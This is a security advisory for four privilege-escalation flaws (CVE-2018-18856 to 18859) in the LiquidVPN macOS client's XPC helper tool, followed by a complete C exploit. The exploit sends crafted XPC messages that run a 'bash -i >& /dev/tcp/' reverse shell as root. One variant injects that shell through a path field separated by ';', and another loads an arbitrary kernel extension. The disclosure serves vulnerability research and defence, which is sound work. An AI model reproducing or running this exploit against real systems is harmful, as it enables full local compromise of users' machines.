LiquidVPN 1.36 / 1.37 - Privilege Escalation

/*
=======================================================================
Title: Multiple Privilege Escalation Vulnerabilities
Product: LiquidVPN for MacOS
Vulnerable versions: 1.37, 1.36 and earlier
CVE ID(s): CVE-2018-18856, CVE-2018-18857, CVE-2018-18858, CVE-2018-18859
Impact: Critical
Homepage: https://www.liquidvpn.com
Identified: 2018-09-29
By: Bernd Leitner (bernd.leitner [at] gmail dot com)
=======================================================================

Vendor description:
-------------------
"LiquidVPN creates a secure encrypted link between your device and the
Internet.
When you connect to the Internet from your home, mobile device, office or a
WiFi
hotspot with encryption your traffic can’t be monitored by 3rd parties like
your
ISP. Without encryption, your ISP can store information about the websites
you
use and sell that data to anyone willing to pay for it. Some ISPs even
inject
advertisements into web pages to further profit off of the Internet service
you
pay for."

Source: https://www.liquidvpn.com

Business recommendation:
------------------------
By exploiting the vulnerabilities documented in this advisory, an attacker
can fully compromise a MacOS system with an installation of the LiquidVPN
client.

Users are urged to uninstall the application until the vendor ships a new
version
of the LiquidVPN client.

Vulnerability overview/description:
-----------------------------------
LiquidVPN installs the helper tool "com.smr.liquidvpn.OVPNHelper" for
performing
privileged (root) actions. In order to allow other LiquidVPN components to
send
messages to the helper tool, it implements an XPC service. Static code
analysis
showed, that the XPC service does not filter incoming messages. This means,
regular users (local attackers) can craft arbitrary XPC messages and send
them
to the service. This leads to the following issues:

1) "anycmd" Privilege Escalation (reserved CVE-2018-18857)

After receiving a message, the service checks for the existence of the
"anycmd" parameter:

============================================================================================
...
__text:00000001000012E8                 lea     rsi, aAnycmd    ; "anycmd"
__text:00000001000012EF                 mov     rdi, r14        ; char *
__text:00000001000012F2                 call    _strcmp
__text:00000001000012F7                 test    eax, eax
__text:00000001000012F9                 jnz     loc_1000016C2
__text:00000001000012FF                 mov     [rbp+var_10A38], r15
__text:0000000100001306                 lea     rsi, aCommandLine ;
"command_line"
__text:000000010000130D                 mov     rdi, rbx
...
__text:0000000100001336                 lea     rsi, aR         ; "r"
__text:000000010000133D                 mov     rdi, r14        ; char *
__text:0000000100001340                 call    _popen
...
============================================================================================

If "anycmd" is found, the "command_line" parameter is extracted from the
message
and directly passed on to a call to popen() as an argument.

2) "openvpncmd" Privilege Escalation (reserved CVE-2018-18856)

Similar to the previous vulnerability, the service checks if the "openvpn"
parameter exists. If it does, the "openvpncmd" parameter is extracted and
passed
on to a system() call as an argument:

============================================================================================
...
__text:00000001000013F1                 lea     rsi, aOpenvpncmd ;
"openvpncmd"
__text:00000001000013F8                 mov     rdi, rbx
__text:00000001000013FB                 call    _xpc_dictionary_get_string
...
__text:000000010000166A                 mov     rdi, r15        ; char *
__text:000000010000166D                 call    _system
__text:0000000100001672                 lea     rsi, aReply     ; "reply"
__text:0000000100001679                 lea     rdx, aOpenvpnCommand ;
"openvpn command executed (ver 3)"
__text:0000000100001680                 mov     rdi, r12
__text:0000000100001683                 call    _xpc_dictionary_set_string
...
============================================================================================

3) OS Command Injection (reserved CVE-2018-18858)

If the service detects the "openvpn" parameter in a message, it also checks
if
the parameters  "tun_path" or "tap_path" exist. If one of them (or both)
are found,
the values are used as source paths for a copy process using the system()
function.
However, the paths are not sanitized before being passed to system():

============================================================================================
...
__text:00000001000013CD                 lea     rsi, aPathTun   ; "path_tun"
__text:00000001000013D4                 mov     rdi, rbx
__text:00000001000013D7                 call    _xpc_dictionary_get_string
__text:00000001000013DC                 mov     r14, rax
__text:00000001000013DF                 lea     rsi, aPathTap   ; "path_tap"
__text:00000001000013E6                 mov     rdi, rbx
__text:00000001000013E9                 call    _xpc_dictionary_get_string
...
__text:000000010000143F                 call    _strcat
__text:0000000100001444                 mov     rdi, rbx        ; char *
__text:0000000100001447                 call    _strlen
...
__text:0000000100001497                 mov     rdi, rbx        ; char *
__text:000000010000149A                 call    _system
..
============================================================================================

4) Loading of arbitrary Kernel Extensions (reserved CVE-2018-18859)

The previous vulnerability can also be used to directly install an arbitrary
kernel extension. When the client is installed, "tun_path" and "tap_path"
are
pointed to the application folder for installing
"/Applications/LiquidVPN.app/Contents/Resources/tun.kext" and
"/Applications/LiquidVPN.app/Contents/Resources/tap.kext".
By crafting an XPC message containing attacker controlled kernel extension
paths,
the helper tool installs the kernel  extensions using a call to the system
function
kextload(). Note: Since MacOS 10.13, a Kext needs to be signed. In
adddition to that,
Apple introduced user-approval for installing third party kernel
extensions. However,
as an attacker has local access to the system and user-approval does not
require the
user to enter a root or admin password, this is not a problem.

Proof of concept:
-----------------
The following proof of concepts can be used to execute arbitrary system
commands:

1) "anycmd" Privilege Escalation

============================================================================================
...
xpc_dictionary_set_string(message, "cmd", "anycmd");
xpc_dictionary_set_bool(message, "blocking", FALSE);
xpc_dictionary_set_string(message, "command_line", "[ARBITRARY CMD]");
...
============================================================================================

2) "openvpncmd" Privilege Escalation

============================================================================================
...
xpc_dictionary_set_string(message, "cmd", "openvpn");
xpc_dictionary_set_string(message, "openvpncmd", "[ARBITRARY CMD]");
...
============================================================================================

3) OS Command Injection

============================================================================================
...
xpc_dictionary_set_string(message, "cmd", "openvpn");
xpc_dictionary_set_string(message, "path_tun", "/tmp/__dummy00_;[ARBITRARY
CMD]");
...
============================================================================================

4) Loading of arbitrary Kernel Extensions

============================================================================================
...
xpc_dictionary_set_string(message, "cmd", "openvpn");
xpc_dictionary_set_string(message, "path_tun", "[PATH TO KEXT]");
...
============================================================================================

Vulnerable / tested versions:
-----------------------------
The following version has been tested and found to be vulnerable:
1.37 (most recent) and 1.36.

Earlier versions might be vulnerable as well.

Vendor contact timeline:
------------------------
2018-10-04: Requested security contact via twitter @LiquidVPN
2018-10-11: Contacted vendor through dave@liquidvpn.com
2018-10-11: Sent PGP encrypted advisory (
https://my.liquidvpn.com/canary/syswan)
2018-10-17: Requested status update from vendor
2018-10-30: Sent new contact details & public PGP key to dave@liquidvpn.com
2018-10-30: Received vendor notification:
            No patches will be issued as the LiquidVPN client for MacOS
will be
            replaced by new app in the future
2018-10-31: Published to Full Disclosure Mailing List

Solution:
---------
None.

Workaround:
-----------
None.

EOF B. Leitner / @2018
*/

// start netcat listener on port 9999

#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <xpc/xpc.h>

void what(const char *bin) {
    printf("%s <1-4>\n", bin);
    printf("[1] Privesc (local reverse shell on port 9999 via \"anycmd\")\n");
    printf("[2] Privesc (local reverse shell on port 9999 via \"openvpncmd\")\n");
    printf("[3] Privesc (local reverse shell on port 9999 via OS command injection)\n");
    printf("[4] KEXT (load arbitrary kernel extension from /tmp/tun.kext (has to be signed for MacOS >= 10.13))\n");
}
 
int main(int argc, const char *argv[]) {

    if (argc == 1 || argc > 2) {
        what(argv[0]);
        return 0;
    }

    int option = atoi(argv[1]);
    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);

    switch(option) {
        case 1:
            // "anycmd"
            xpc_dictionary_set_string(message, "cmd", "anycmd");
            xpc_dictionary_set_bool(message, "blocking", FALSE);
            xpc_dictionary_set_string(message, "command_line", "bash -i >& /dev/tcp/127.0.0.1/9999 0>&1");
            break;
        case 2:
            // "openvpncmd"
            xpc_dictionary_set_string(message, "cmd", "openvpn");
            xpc_dictionary_set_string(message, "openvpncmd", "bash -i >& /dev/tcp/127.0.0.1/9999 0>&1");
            break;
        case 3:
            // cmd injection via "path_tun". "path_tap" is affected by the same bug
            mkdir("/tmp/__dummy00_", 0755);
            xpc_dictionary_set_string(message, "cmd", "openvpn");
            xpc_dictionary_set_string(message, "path_tun", "/tmp/__dummy00_;bash -i >& /dev/tcp/127.0.0.1/9999 0>&1;cat");
            rmdir("/tmp/__dummy00_");
            break;
        case 4:
            // load arbitrary kext via "path_tun". "path_tap" is affected by the same bug
            xpc_dictionary_set_string(message, "cmd", "openvpn");
            xpc_dictionary_set_string(message, "path_tun", "/tmp/tun.kext");
            break;
        default:
            what(argv[0]);
            return 0;
    }

    printf("[+] sending xpc message.\n");

    xpc_connection_t connection = xpc_connection_create_mach_service("com.smr.liquidvpn.OVPNHelper", NULL, 0);
    if (connection == NULL) {
        printf("[-] connection to xpc service failed.\n");
        return 1;
    }

    xpc_connection_set_event_handler(connection, ^(xpc_object_t e) {
        // we don't need that here.
    });

    xpc_connection_resume(connection);

    printf("[+] check your listener.\n");
    xpc_object_t result = xpc_connection_send_message_with_reply_sync(connection, message);

    printf("[+] bye.\n");

    return 0;
}